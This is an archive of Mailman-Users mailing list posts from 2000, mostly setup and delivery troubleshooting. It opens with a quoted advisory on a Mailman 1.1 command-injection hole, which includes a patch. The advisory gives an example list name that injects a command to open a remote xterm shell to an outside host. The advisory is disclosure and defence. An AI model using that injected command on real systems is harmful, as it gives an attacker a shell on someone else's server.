> From: Christopher P. Lindsey <lindsey at mallorn.com>
> To: mailman-users at python.org
> Subject: [Mailman-Users] Mailman 1.1 + external archiver vulnerability
> 
> SUMMARY
> 
>    Mailman from www.list.org is a mailing list manager with strong Web
>    functionality.  If a site is running Mailman 1.1 with an external
>    archiving mechanism that uses the internal variable %(listname)s,
>    list administrators can run any command with the Webserver's
>    uid/gid.
> 
>    A patch is available at the end of this message.
> 
> WHO'S VULNERABLE
> 
>    Sites running versions prior to Mailman 1.2beta with external
>    archiving enabled.
> 
> HISTORY
> 
>    This bug was reported to the developers in late November, 1999, and
>    was fixed in the CVS source tree.  Newer beta versions of Mailman
>    are not susceptible, yet it has recently come to my attention
>    that the vulnerable 1.1 package is still available as a stable,
>    non-beta release on the Mailman site(s):
> 
>       ftp://ftp.list.org/pub/mailman/
>       ftp://ftp.gnu.org/gnu/mailman/
> 
> DETAILS
> 
>    Mailman has a mechanism that allows messages sent to a mailing list to
>    be pumped into some sort of external program.  Traditionally this
>    involves some sort of Web-based archiver like MHonArc or hypermail.
>    To make the archiving more powerful, macros can be used based on
>    internal Mailman values.  For example, list archives can be saved
>    on a per list basis with this line in $prefix/Mailman/mm_cfg.py:
> 
>       PUBLIC_EXTERNAL_ARCHIVER  = '(mhonarc -add -nolock -umask 023 -rcfile rc.%(listname)s -outdir /mnt/WWW/htdocs/lists/%(listname)s)'
> 
>    The problem comes from the %(listname)s expansion.  Since it's derived
>    from a value that can be set on a per list basis by the list administrator,
>    it's subject to tampering.  Consider a list who's name was changed
>    to
> 
>       `/usr/X11R6/bin/xterm -display myhost.example.com:0 -e /bin/csh`
> 
>    by a list administrator.  As soon as a message is sent to the list
>    this command will be executed, opening a remote xterm with a shell
>    running with the Web server's uid/gid.  Any command available to the
>    Web server can be executed in this fashion.
> 
>    Other variable names can be accessed if your PUBLIC_EXTERNAL_ARCHIVER
>    definition is configured to use them.  The patch below will only
>    fix problems with %(listname)s expansion.
> 
> SOLUTION
> 
>    Upgrade to a later version of Mailman, or install the supplied patch.
> 
> PATCH
> 
>    This patch was provided my the Mailman developers and later cleaned up
>    to work against a stock 1.1 distribution.  It works by only allowing
>    listowners to change case values within the name of their list.
> 
>    Obviously a better long-term solution that sanitizes system calls, etc.
>    should be considered.
> 
>    The purpose of this report is not to disrespect the Mailman
>    team or the software, but rather to warn users who have been
>    downloading the 1.1 package while waiting for the beta to emerge
>    as a final release.
> 
> Christopher Lindsey
> lindsey at mallorn.com
> Mallorn Computing, Inc.
> 
> -------------------- snip snip --------------------
> *** admin.py.bak        Mon Mar 13 21:03:53 2000
> --- admin.py    Mon Mar 13 21:04:51 2000
> ***************
> *** 784,789 ****
> --- 784,800 ----
>                   val = cgi_info[property].value
>               value = GetValidValue(lst, property, kind, val, deps)
>               if getattr(lst, property) != value:
> +                 # TBD: Ensure that lst.real_name differs only in letter
> +                 # case.  Otherwise a security hole can potentially be opened
> +                 # when using an external archiver.  This seems ad-hoc and
> +                 # could use a more general security policy.
> +                 if property == 'real_name' and \
> +                    string.lower(value) <> string.lower(lst._internal_name):
> +                     # then don't install this value.
> +                     document.AddItem("""<p><b>real_name</b> attribute not
> +                     changed!  It must differ from the list's name by case
> +                     only.<p>""")
> +                     continue
>                   setattr(lst, property, value)
>                   dirty = 1
>       #
> -------------------- snip snip --------------------
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 

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From mjl at squid.jpl.nasa.gov  Sat Sep  9 03:14:29 2000
From: mjl at squid.jpl.nasa.gov (Mark Lysek)
Date: Fri, 08 Sep 2000 18:14:29 -0700
Subject: [Mailman-Users] Mailman/FreeBSD lockup
In-Reply-To: <200009080310.UAA18136@utopia.west.sun.com>
Message-ID: <4.3.2.7.2.20000908173500.00b227b0@squid.jpl.nasa.gov>

Ok, I tried to figure out what was going on by using ktrace and stumbling 
through the code.  Running qrunner with ktrace seems to indicate that 
qrunner is not sending the complete message (omitting the closing "." at 
the end of the message).  Sendmail then eventually says: "451 timeout 
waiting for input during message collect".  Comparing ktrace output for 
mailman posting a short vs long message: qrunner reads in the entire 
message but somehow the long message is being truncated well before the 
ending '.'

It appears that the message is being sent by the "send" definition on line 
222 in Mailman/pythonlib/smtplib.py.  I then set debuglevel=1 in that file 
to see where the message was being truncated.  The debugging output seems 
to have the entire message being sent to the socket.

Looking in the Python bug list I find:
[ Bug #111710 ] socket.send() can do partial writes on some systems.
http://sourceforge.net/bugs/?group_id=5470&func=detailbug&bug_id=111710
specifically for FreeBSD 4.0 (and perhaps only for FreeBSD 4.0).  I may 
have to wait for this bug to be addressed.

-Mark
mjl at squid.jpl.nasa.gov

At 08:12 PM 9/7/00 -0700, you wrote:
>As always, it would be *really* interesting to know just what those
>processes are doing; apparently the FreeBSD command is 'ktrace'.
>Is sendmail refusing to read more data, or is mailman refusing to
>send it, or what?
>
> > Help!,
> > My (brand new) Mailman installation locks up when posting messages about
> > 50Kb or larger. (FreeBSD version 4.0, Mailman version 2.0beta5 installed
> > from the FreeBSD ports, Python 1.5.2 from the FreeBSD ports, Sendmail 
> 8.9.3)
> >
> > To isolate the problem, I created a list with only one subscriber on the
> > same host as the mailman installation.  When a 80Kb plaintext message is
> > posted to the list, qrunner stays around until it times out, without
> > completing it's session with sendmail.  The partially queued message is
> > consistently 49152 bytes long.  Shorter messages are delivered without any
> > problems.  While it's stuck, the following processes are hanging around:
> >
> > mailman 39004  /bin/sh -c /usr/local/bin/python -S 
> /usr/local/mailman/cron/...
> > mailman 39005  /usr/local/bin/python -S /usr/local/mailman/cron/qrunner
> > root    39007  sendmail: server localhost [127.0.0.1] child wait (sendmail)
> > root    39008  sendmail: TAA39008 localhost [127.0.0.1]: data (sendmail)
> >
> > Is there a timeout setting that should be increased?
> >
> > (This doesn't seem to be related to the problem mentioned in the mailman
> > README.BSD file, where they mention a known problem with the posixfile.py
> > module.  To be sure, I added "freebsd4" to the list of OS's in that patch.)
> >
> > Thanks,
> > -Mark
> > mjl at squid.jpl.nasa.gov
> >
> >
> >
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users




From tpepper at opensales.com  Sat Sep  9 04:07:24 2000
From: tpepper at opensales.com (Tim Pepper)
Date: Fri, 8 Sep 2000 19:07:24 -0700 (PDT)
Subject: [Mailman-Users] archive trouble: spotty html but good mboxes
Message-ID: <Pine.LNX.4.21.0009081758460.19823-100000@tp.sf.opensales.com>

I finally got past my various issues with mailman and qmail and started
testing to see if the beta5 was going to archive better than beta3 on our
problem machine.

I created a nasty little script as follows:

#!/bin/bash
declare -i seq_num=0
while [ ${seq_num} -lt 5 ]; do
	echo 'foo' | mail -s ${seq_num} test1 at testbox.test.com
	echo 'foo' | mail -s ${seq_num} test2 at testbox.test.com
	seq_num=${seq_num}+1
done

So in short order 10 messages hit mailman.  All were sent on to the lists and
all make it to the list archive mboxes.  But the html generated for
author|date|subject|thread.html isn't correct.  Actually subject.html does
correctly include all five emails for each list, but each of the other html
documents only includes a few of the five messages for each list.

I can run the script a few times and the number that make it to the
author|date|thread.html files varies, but regardless of whether two or three
do, it is the same two or three being shown in each of those.  The
subject.html remains correct.

This is an improvement over beta3 in that the stuff is at least hitting the
archive mbox and being shown in at least some of the html generated, and I
must admit this script isn't at all realistic compared to the load seen by our
production server in terms of timing.

Should I just look at something other than pipermail for archiving?  Is there
a document describing how to integrate other archivers with mailman?  Thanks
in advance for any info!

Tim

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*********************************************************






From phil at ourside.com  Sat Sep  9 06:24:59 2000
From: phil at ourside.com (Philip & Kristen Jenkins)
Date: Sat, 09 Sep 2000 00:24:59 -0400
Subject: [Mailman-Users] private archives keep logging me out
Message-ID: <39B9BB9B.B4372F14@ourside.com>

When ever I try to open up private archives it keeps taking me back to
the login screen after I choose the archive method to view.  I will log
in, see the options for that private archive, click on either thread or
subject or date, and then it takes me back to the login screen.  The
public archives work fine, it is just the private archives.  Any idea on
what would cause this?  I am running version 2.0beta5, on Linux.  My
apache deamon has suEXEC enabled.  Any ideas would be greatly
appreciated.

Thanks,

Phil,





From phil at ourside.com  Sat Sep  9 16:37:41 2000
From: phil at ourside.com (Philip & Kristen Jenkins)
Date: Sat, 09 Sep 2000 10:37:41 -0400
Subject: [Mailman-Users] Re: private archives keep logging me out
References: <39B9BB9B.B4372F14@ourside.com> <20000909012749.E14154@smack.uchicago.edu>
Message-ID: <39BA4B35.C3DAF653@ourside.com>

David Champion wrote:

> Enable cookies in your web browser.

I have cookies enabled on my system, using netscape in Linux.  I have even
tried it from work on a windoz box using both netscape and IE with cookies
enabled, and the same thing.  I can get around the admin features fine, and
everything works, with exception of the private archives.

Thanks,

Phil,




From dave at thinbits.com  Sun Sep 10 10:31:11 2000
From: dave at thinbits.com (Dave Camp)
Date: Sun, 10 Sep 2000 01:31:11 -0700
Subject: [Mailman-Users] Cant get MailMan running with Postfix
Message-ID: <B5E094DF.28DF%dave@thinbits.com>

I'm here because the FAQ for Mailman is woefully short and using the
recommended search facilities for this list turns up nothing... :-(

Anyways, I've got a fresh install of Postfix and Mailman and I cannot get
them to play well together. I get the following response from Postfix when I
send mail to mailman:

<test-request at timmy.thinbits.com>: Command died with status 2:
    "/usr/local/mailman/mail/wrapper mailcmd test". Command output: Failure
to exec script. WANTED gid 501, GOT gid 99.  (Reconfigure to take 99?)

This tells me wrapper wanted to be gid 501, but was only able to be gid 99
right?

I've gotten here with the following setup:

postfix runs as user postfix (502) and group postfix (502).
mailman runs as user mailman (501) and group mailman (501).
nobody is uid 99 and gid 99.

mailman was built with the following configure line:
./configure --prefix=/usr/local/mailman --with-mail-gid=501
--with-cgi-gid=99

The aliases for my list are in /etc/aliases.mailman owned by
mailman:mailman. Postfix's config file was updated to search there in
addition to the standard aliases file.

./bin/check_perms says everything is fine.

According to the docs, I've done what I need to (as I read them).

What did I goof up?

Thanks,
Dave




From forsberg at lysator.liu.se  Sun Sep 10 10:58:26 2000
From: forsberg at lysator.liu.se (Erik Forsberg)
Date: Sun, 10 Sep 2000 10:58:26 +0200 (CEST)
Subject: [Mailman-Users] Cant get MailMan running with Postfix
In-Reply-To: <B5E094DF.28DF%dave@thinbits.com>
References: <B5E094DF.28DF%dave@thinbits.com>
Message-ID: <14779.19762.810450.964826@j218.ryd.student.liu.se>

>The aliases for my list are in /etc/aliases.mailman owned by
>mailman:mailman. Postfix's config file was updated to search there in
>addition to the standard aliases file.

Be sure to check the ownership of the files generated when running
'postalias /etc/aliases.mailman'. There's probably a
aliases.mailman.dir and a aliases.mailman.pag (If you run a dbm-style
database). I had kind of the same problem, and found out that Postfix
checks not only the privileges of the original file, but also the
privs of generated files.  

If this is the error, you probably ran postalias as root, and so the generated
files are owned by root which makes postfix execute the commands as
the user specified with default_privs which is most often nobody.

The solution is of course to run postalias as the mailman user, or
change the privs of the generated files after running postalias as
root. 

\EF
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From dave at thinbits.com  Sun Sep 10 12:41:35 2000
From: dave at thinbits.com (Dave Camp)
Date: Sun, 10 Sep 2000 03:41:35 -0700
Subject: [Mailman-Users] Cant get MailMan running with Postfix
In-Reply-To: <14779.19762.810450.964826@j218.ryd.student.liu.se>
Message-ID: <B5E0B36E.28EA%dave@thinbits.com>

on 9/10/00 1:58 AM, Erik Forsberg at forsberg at lysator.liu.se wrote:

> The solution is of course to run postalias as the mailman user, or
> change the privs of the generated files after running postalias as
> root. 

That was the problem! Thanks for the help.

I'm really looking forward to replacing majordomo and sendmail. :-)

Now it's time for bed...

Dave




From forsberg at lysator.liu.se  Sun Sep 10 17:34:36 2000
From: forsberg at lysator.liu.se (Erik Forsberg)
Date: Sun, 10 Sep 2000 17:34:36 +0200 (CEST)
Subject: [Mailman-Users] Tip of the day (Python Mailbox class needs 'From <addr> <timestamp>' line
Message-ID: <14779.43532.597026.722592@j218.ryd.student.liu.se>

Hi!

I have a mailman installation that shares the basic principle of the
setup found in the Exim HOWTO, but with the difference that I'm running
Postfix. 

I had the problem that Mailman didn't generate any HTML archives which
was very odd since it did generate *.mbox-files. After some heavy
debugging of the source I found out that the Mailbox class of Python
want's each mail to start with 'From <address> <timestamp>'. That's
kind of natural since that's in the "standard" that defines the mbox
format.. If the line's not there , it won't find any mails and of
course that means no mails will be HTML-archived.

My problem was of course an error from my side. I forgot to add a flag
to my setup that tells Postfix to generate a 'From ...' line. 

Since this problem was really weird, I just thought I should share the
wisdom I gained when I solved it. Perhaps it should be mentioned in
the docs.

\EF
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From a.sleep at asleep.net  Mon Sep 11 04:21:04 2000
From: a.sleep at asleep.net (A.Sleep)
Date: Sun, 10 Sep 2000 22:21:04 -0400 (EDT)
Subject: [Mailman-Users] unrestricting hard links?
Message-ID: <Pine.LNX.4.21.0009102219270.27345-100000@apgar.asleep.net>




From a.sleep at asleep.net  Mon Sep 11 04:28:20 2000
From: a.sleep at asleep.net (A.Sleep)
Date: Sun, 10 Sep 2000 22:28:20 -0400 (EDT)
Subject: [Mailman-Users] unrestricting hard links?
In-Reply-To: <Pine.LNX.4.21.0009102219270.27345-100000@apgar.asleep.net>
Message-ID: <Pine.LNX.4.21.0009102226290.27345-100000@apgar.asleep.net>

Sorry, gnupg signed the message by default...

I'm getting a hard link error that README.LINUX reports to be beacuse of
restricted hard links. This is the case. I've spent the better half of the
day searching and asked about un-restricting hard links to no avail...

How do I unrestrict hard links?? I love GNU Mailman and can't wait to run
it for our mailing lists...

Thanks in advance,
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From scott-brown at home.com  Mon Sep 11 04:59:23 2000
From: scott-brown at home.com (Scott Brown)
Date: Sun, 10 Sep 2000 22:59:23 -0400
Subject: [Mailman-Users] Use by multiple virtual domains
Message-ID: <000b01c01b9c$4aabe000$0401a8c0@IBMPEERS>

Is there a FAQ or some info somewhere which I've missed which details what
needs to be done to have mailman respond using the domainname of the
requesting virtual server?

configure sets a variable FQDN that ends up being my box... but I'd like to
have the domain of the list owner show up in footers and links.




From roland.krause at amd.com  Mon Sep 11 15:21:54 2000
From: roland.krause at amd.com (Roland Krause)
Date: Mon, 11 Sep 2000 15:21:54 +0200
Subject: [Mailman-Users] forgot my admin password
In-Reply-To: mailman-users-request@python.org
        "Mailman-Users digest, Vol 1 #737 - 10 msgs" (Sep  6, 12:02pm)
References: <20000906160200.81E811CF4C@dinsdale.python.org>
Message-ID: <000911152154.ZM25588@exter>

Hi,

I'm a member and the administrator of an email list. I forgot my admin
password.
Is there a way to get it from mailman?

Roland

                  : Be engaged at least six months before
                  : you get married.    
Roland            :       
                  :       
                  :       




From veldy at veldy.net  Mon Sep 11 17:43:43 2000
From: veldy at veldy.net (Thomas T. Veldhouse)
Date: Mon, 11 Sep 2000 10:43:43 -0500
Subject: [Mailman-Users] Mailman message size bug?
Message-ID: <017901c01c07$11379ce0$dd29680a@tgt.com>

Hi!  I have been using Mailman 1.1 and more recently Mailman 2.0beta5, and I
have noticed what appears to be a bug in both implementations.

I run a mailing list where we frequently attach files of a size around 200K.
I have set the list to a 250K maximum on message size.  If I post a message
with a 200K size - it sends OK.  The message will show in the archive as
well, however, it is NEVER sent to any of the members on the list.  This is
very frustrating.  The users believe that their email has disappeared, and
in reality - it has - except for the archive where it is logged
appropriately.  Also, if a user were to send a message that is 260K, I get
an administrator message that a posting requires approval.  If I approve the
message - it wil hang the list - no more messages for the list will be
delivered.  I found that I have to manually go and kill the "qrunner"
process and then remove the locks for qrunner in the $mailman/locks
directory.

Is this a known problem (or problems)?  I would really like to get this
fixed.   I need to replace my majordomo list with mailman, it has such a
nice interface :)

Thanks in advance,

Tom Veldhouse
veldy at veldy.net





From akopps at CSUA.Berkeley.EDU  Mon Sep 11 18:50:52 2000
From: akopps at CSUA.Berkeley.EDU (Akop Pogosian)
Date: Mon, 11 Sep 2000 09:50:52 -0700 (PDT)
Subject: [Mailman-Users] approving new subscriptions via email
Message-ID: <Pine.BSF.4.10.10009110947300.10053-100000@soda.csua.Berkeley.edu>

Hi all,


Is there a way for a list manager to approve new subscriptions
via email as opposed to web based interface? I find nothing
wrong with the web interface, but if I implement mailman on our
site, I suppose sooner or later some majordomo die-hards will
appear saying that they prefer mail based administration as opposed
to web interface.

Akop





From veldy at veldy.net  Mon Sep 11 19:48:38 2000
From: veldy at veldy.net (Thomas T. Veldhouse)
Date: Mon, 11 Sep 2000 12:48:38 -0500
Subject: [Mailman-Users] Mailman message size bug? - How about Python 1.6?
References: <017901c01c07$11379ce0$dd29680a@tgt.com>
Message-ID: <028601c01c18$84a71870$dd29680a@tgt.com>

I just noticed that nobody has really seemed to address this problem of
"lost attachments 50K +" and them hanging the list.  I have noticed that it
seems to happen for the versions of mailman deployed under FreeBSD 4.x.

I was wondering if anybody has compiled mailman against Python 1.6?  Did
mailman still function as expected?  Did the above mentioned bug seem to be
fixed?

I use FreeBSD 4.1, postfix-19991231 patch level 8 - and of course, Python
1.5.2.  I have had to remove my Mailman implementation and go back to
majordomo because this aweful bug was causing me to manually kill qrunner
because it hangs on anything bigger than about 50K.

I am willing to tryout patches or any ideas somebody may have :)

Tom Veldhouse
veldy at veldy.net





From haroldp at sierraweb.com  Mon Sep 11 20:09:54 2000
From: haroldp at sierraweb.com (Harold Paulson)
Date: Mon, 11 Sep 2000 11:09:54 -0700
Subject: [Mailman-Users] Mailman has stopped delivering mail
Message-ID: <v04220803b5e2cead5ac0@[209.160.232.254]>

Hi,

having an ugly problem here.  Mailman stopped delivering mail a 
couple days ago.  When I post a message to a list, it seems to be 
accepted fine, but it never gets any farther.  Looking in logs/smtp I 
see:

Sep 11 04:50:54 2000 (61599) smtp for 1028 recips, completed in 
36473.001 seconds
Sep 11 05:12:16 2000 (83902) smtp for 1 recips, completed in 0.407 seconds
Sep 11 06:44:35 2000 (82886) All recipients refused: (451, 'timeout 
waiting for input during message collect')

So it looks like it tried to send the message to the 1028 people on 
the list, but then in logs/smtp-failures I see:

%grep '^Sep 11' smtp-failure | wc -l
     1028

So every single email failed? Seems a bit odd.  Mailing from the CL 
works fine otherwise.  I'm a bit stumped here.  Details:

	Mailman 2.0b5
	FreeBSD 4.0-STABLE
	Sendmail 8.9.3

Thanks for any help...

	- H


Harold Paulson                  Sierra Web Design
haroldp at sierraweb.com           http://www.sierraweb.com
VOICE: 775.833.9500             FAX:   810.314.1517



From veldy at veldy.net  Mon Sep 11 20:13:55 2000
From: veldy at veldy.net (Thomas T. Veldhouse)
Date: Mon, 11 Sep 2000 13:13:55 -0500
Subject: [Mailman-Users] Mailman has stopped delivering mail
References: <v04220803b5e2cead5ac0@[209.160.232.254]>
Message-ID: <031e01c01c1c$0c721900$dd29680a@tgt.com>

Were any of the emails greater than 50K in size?

Tom Veldhouse
veldy at veldy.net

----- Original Message -----
From: Harold Paulson <haroldp at sierraweb.com>
To: <mailman-users at python.org>
Sent: Monday, September 11, 2000 1:09 PM
Subject: [Mailman-Users] Mailman has stopped delivering mail


> Hi,
>
> having an ugly problem here.  Mailman stopped delivering mail a
> couple days ago.  When I post a message to a list, it seems to be
> accepted fine, but it never gets any farther.  Looking in logs/smtp I
> see:
>
> Sep 11 04:50:54 2000 (61599) smtp for 1028 recips, completed in
> 36473.001 seconds
> Sep 11 05:12:16 2000 (83902) smtp for 1 recips, completed in 0.407 seconds
> Sep 11 06:44:35 2000 (82886) All recipients refused: (451, 'timeout
> waiting for input during message collect')
>
> So it looks like it tried to send the message to the 1028 people on
> the list, but then in logs/smtp-failures I see:
>
> %grep '^Sep 11' smtp-failure | wc -l
>      1028
>
> So every single email failed? Seems a bit odd.  Mailing from the CL
> works fine otherwise.  I'm a bit stumped here.  Details:
>
> Mailman 2.0b5
> FreeBSD 4.0-STABLE
> Sendmail 8.9.3
>
> Thanks for any help...
>
> - H
>
>
> Harold Paulson                  Sierra Web Design
> haroldp at sierraweb.com           http://www.sierraweb.com
> VOICE: 775.833.9500             FAX:   810.314.1517
>
> ------------------------------------------------------
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> http://www.python.org/mailman/listinfo/mailman-users
>




From haroldp at sierraweb.com  Mon Sep 11 20:45:27 2000
From: haroldp at sierraweb.com (Harold Paulson)
Date: Mon, 11 Sep 2000 11:45:27 -0700
Subject: [Mailman-Users] Mailman has stopped delivering mail
Message-ID: <v04220804b5e2d30d61d6@[209.160.232.254]>

checking qfiles...

I have 300+ files in there, ONE of which has a large PDF attachment, 
over 300k (grr, have to beat that user).  And interestingly enough, 
it was sent on the last day that Mailman successfully delivered 
anything.

Tom Veldhouse suggested the following:

>You need to get rid of the large message in $MAILMAN/qfiles as well.  Also,
>remove the locks in $MAILMAN/locks.  Then kill the process.  It will hang
>again when it comes across the queued mail if you don't do this.

which seems to have things running again.  Does anybody know where 
the problem is here? Mailman? Python? FreeBSD?  Anyone have an actual 
solution?

	- H


Harold Paulson                  Sierra Web Design
haroldp at sierraweb.com           http://www.sierraweb.com
VOICE: 775.833.9500             FAX:   810.314.1517



From wrd at awenet.com  Mon Sep 11 20:56:51 2000
From: wrd at awenet.com (William R. Dickson)
Date: Mon, 11 Sep 2000 11:56:51 -0700 (PDT)
Subject: [Mailman-Users] Mailman has stopped delivering mail
In-Reply-To: <v04220804b5e2d30d61d6@[209.160.232.254]>
Message-ID: <Pine.NEB.4.21.0009111155360.15924-100000@awenet.com>

On Mon, 11 Sep 2000, Harold Paulson wrote:

> which seems to have things running again.  Does anybody know where 
> the problem is here? Mailman? Python? FreeBSD?  Anyone have an actual 
> solution?

I have yet to find a solution, but I only experience the problem on my
FreeBSD server.  My NetBSD server has no such difficulty.  On the other
hand, it also didn't happen until I upgraded to the latest Mailman beta.

-Bill


--
 William R. Dickson -- Consuming the Earth's limited resources since 1968
 wrd at awenet.com   http://www.awenet.com/~wrd/  (PGP public key available)

        I've had a perfectly wonderful evening.  But this wasn't it.

                                             -Groucho Marx




From peewee at scc.mi.org  Mon Sep 11 22:15:28 2000
From: peewee at scc.mi.org (Jason Wright)
Date: Mon, 11 Sep 2000 13:15:28 -0700
Subject: [Mailman-Users] external archiver query
Message-ID: <20000911131528.B15194@scc.mi.org>

Howdy,

I've just done a fresh install of 2.0beta5 on a Sparc running Solaris
2.7.  I'm trying to use MHonarc as my archiver, as follows:

PUBLIC_EXTERNAL_ARCHIVER  = '(/usr/local/bin/mhonarc -quiet -tidxfname index.html -add -nolock -umask 023 -outdir /usr/local/mailman/archives/public/%(listname)s)'
PRIVATE_EXTERNAL_ARCHIVER  = '(/usr/local/bin/mhonarc -quiet -tidxfname index.html -add -nolock -umask 023 -outdir /usr/local/mailman/archives/private/%(listname)s)'

The problem is that the MIME type on attachements is getting set
incorrectly:

balance:~ ] lynx -head -dump http://server/mailman/private/test/jpg00000.jpg
HTTP/1.1 200 OK
Date: Mon, 11 Sep 2000 19:57:31 GMT
Server: Apache/1.3.12 (Unix)
Connection: close
Content-Type: text/html

If I copy the attachment outside of the mailman directory, the MIME type
is correct:

balance:~ ] lynx -head -dump http://server/jpg00000.jpg
HTTP/1.1 200 OK
Date: Mon, 11 Sep 2000 20:12:26 GMT
Server: Apache/1.3.12 (Unix)
Last-Modified: Mon, 11 Sep 2000 20:06:42 GMT
ETag: "28f05-d4ec-39bd3b52"
Accept-Ranges: bytes
Content-Length: 54508
Connection: close
Content-Type: image/jpeg

Is this a bug, or do I need to move the archive directories outside of
the Mailman heirarchy?

Thanks...

PeeWee

-- 
email: peewee at scc.mi.org - useless: http://www.scc.mi.org/peewee/ - efnet:  Pwe
I said you were a state of mind, I believe. I said that if you ran very swiftly
and were acceptably violent, you would be admired. - "The Era of Great Numbers"



From Dan.Mick at west.sun.com  Mon Sep 11 22:30:29 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Mon, 11 Sep 2000 13:30:29 -0700
Subject: [Mailman-Users] Mailman has stopped delivering mail
References: <Pine.NEB.4.21.0009111155360.15924-100000@awenet.com>
Message-ID: <39BD40E5.A70AC103@west.sun.com>

Guys, it's sure sounding like the "socket.send() might not write full message"
bug that someone just reported in the last few days, which is a Python bug on
FreeBSD, is the source of the problem here...  see the attached email

"William R. Dickson" wrote:
> 
> On Mon, 11 Sep 2000, Harold Paulson wrote:
> 
> > which seems to have things running again.  Does anybody know where
> > the problem is here? Mailman? Python? FreeBSD?  Anyone have an actual
> > solution?
> 
> I have yet to find a solution, but I only experience the problem on my
> FreeBSD server.  My NetBSD server has no such difficulty.  On the other
> hand, it also didn't happen until I upgraded to the latest Mailman beta.
> 
> -Bill
> 
> --
>  William R. Dickson -- Consuming the Earth's limited resources since 1968
>  wrd at awenet.com   http://www.awenet.com/~wrd/  (PGP public key available)
> 
>         I've had a perfectly wonderful evening.  But this wasn't it.
> 
>                                              -Groucho Marx
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
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From xabino at freemail.it  Tue Sep 12 01:24:04 2000
From: xabino at freemail.it (Maurizio Gestapo)
Date: Tue, 12 Sep 2000 01:24:04 +0200 (CEST)
Subject: [Mailman-Users] help for mailman 1.1
Message-ID: <00091201240400.27131@hermes.freemail.it>


Hello folks...

This is first time that i post a message here and i need of help about Mailman 1.1.
I have configured it, it has acknowledgmented gid mail (my mail server is Sendmail 8.9.3)
and gid cgi (my web server is Apache 1.3.12). When the installation is finished i configured
all as INSTALL text file tells. Ok i created the list "list" and i added all aliases in 
/etc/aliases. I configured "list" in admin web page (http://mydomain/mailman/admin/list)
and i subscribed me. For now all regular. When arrive me the message to confirm the
subscription i reply to it. When reply arrive there is an error that i append here:


From MAILER-DAEMON at xabino.xabaras.net  Mon Sep 11 17:24:50 2000
From: MAILER-DAEMON at xabino.xabaras.net (Mail Delivery Subsystem)
Date: Mon, 11 Sep 2000 17:24:50 +0200
Subject: Returned mail: Service unavailable
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From scott-brown at home.com  Tue Sep 12 03:08:57 2000
From: scott-brown at home.com (Scott Brown)
Date: Mon, 11 Sep 2000 21:08:57 -0400
Subject: [Mailman-Users] User control over newlist?
Message-ID: <000001c01c56$076ca620$0401a8c0@IBMPEERS>

Does anyone have any enhancement to allow user creation of new lists via a
web interface?

I'd rather not reinvent the wheel and deal with the security headaches if
not needed....




From Scrappn4fun at cs.com  Tue Sep 12 03:12:47 2000
From: Scrappn4fun at cs.com (Scrappn4fun at cs.com)
Date: Mon, 11 Sep 2000 21:12:47 EDT
Subject: [Mailman-Users] remove me from this list
Message-ID: <e8.9c08d85.26eedd0f@cs.com>

 



From aaryn at Ag.Arizona.Edu  Tue Sep 12 03:40:22 2000
From: aaryn at Ag.Arizona.Edu (Aaryn Olsson)
Date: Mon, 11 Sep 2000 18:40:22 -0700 (MST)
Subject: [Mailman-Users] bounces from nonlocal users
Message-ID: <Pine.GSO.4.10.10009111834020.29619-100000@Ag.Arizona.Edu>

Hello,

I just created a new list and mail to users not on this machine bounces.
These are the 5 entries that failed, according to the bounce file: all 5
nonlocal email addresses. Here is one for the owner of the list:

Sep 11 18:17:01 2000 (25474) Gso: krl at email.arizona.edu - 3 more allowed
over 429676 secs

What does this mean?  Regular mail sent to these users goes through
without a hitch.  

Thanks in advance,
Aaryn Olsson




From Dan.Mick at West.Sun.COM  Tue Sep 12 03:58:33 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Mon, 11 Sep 2000 18:58:33 -0700 (PDT)
Subject: [Mailman-Users] external archiver query
Message-ID: <200009120157.SAA00535@utopia.west.sun.com>

This question has nothing to do with Mailman; you may get an answer,
but it seems like you'd be better off asking about mhonarc (I refuse
to try to remember the correct capitalization) or Apache, since
one of those must be the problem.

> Howdy,
> 
> I've just done a fresh install of 2.0beta5 on a Sparc running Solaris
> 2.7.  I'm trying to use MHonarc as my archiver, as follows:
> 
> PUBLIC_EXTERNAL_ARCHIVER  = '(/usr/local/bin/mhonarc -quiet -tidxfname 
index.html -add -nolock -umask 023 -outdir 
/usr/local/mailman/archives/public/%(listname)s)'
> PRIVATE_EXTERNAL_ARCHIVER  = '(/usr/local/bin/mhonarc -quiet -tidxfname 
index.html -add -nolock -umask 023 -outdir 
/usr/local/mailman/archives/private/%(listname)s)'
> 
> The problem is that the MIME type on attachements is getting set
> incorrectly:
> 
> balance:~ ] lynx -head -dump http://server/mailman/private/test/jpg00000.jpg
> HTTP/1.1 200 OK
> Date: Mon, 11 Sep 2000 19:57:31 GMT
> Server: Apache/1.3.12 (Unix)
> Connection: close
> Content-Type: text/html
> 
> If I copy the attachment outside of the mailman directory, the MIME type
> is correct:
> 
> balance:~ ] lynx -head -dump http://server/jpg00000.jpg
> HTTP/1.1 200 OK
> Date: Mon, 11 Sep 2000 20:12:26 GMT
> Server: Apache/1.3.12 (Unix)
> Last-Modified: Mon, 11 Sep 2000 20:06:42 GMT
> ETag: "28f05-d4ec-39bd3b52"
> Accept-Ranges: bytes
> Content-Length: 54508
> Connection: close
> Content-Type: image/jpeg
> 
> Is this a bug, or do I need to move the archive directories outside of
> the Mailman heirarchy?
> 
> Thanks...
> 
> PeeWee
> 
> -- 
> email: peewee at scc.mi.org - useless: http://www.scc.mi.org/peewee/ - efnet:  
Pwe
> I said you were a state of mind, I believe. I said that if you ran very 
swiftly
> and were acceptably violent, you would be admired. - "The Era of Great 
Numbers"
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users





From Dan.Mick at West.Sun.COM  Tue Sep 12 04:01:50 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Mon, 11 Sep 2000 19:01:50 -0700 (PDT)
Subject: [Mailman-Users] Mailman message size bug? - How about Python 1.6?
Message-ID: <200009120200.TAA00658@utopia.west.sun.com>

> I just noticed that nobody has really seemed to address this problem of
> "lost attachments 50K +" and them hanging the list.  I have noticed that it
> seems to happen for the versions of mailman deployed under FreeBSD 4.x.
> 
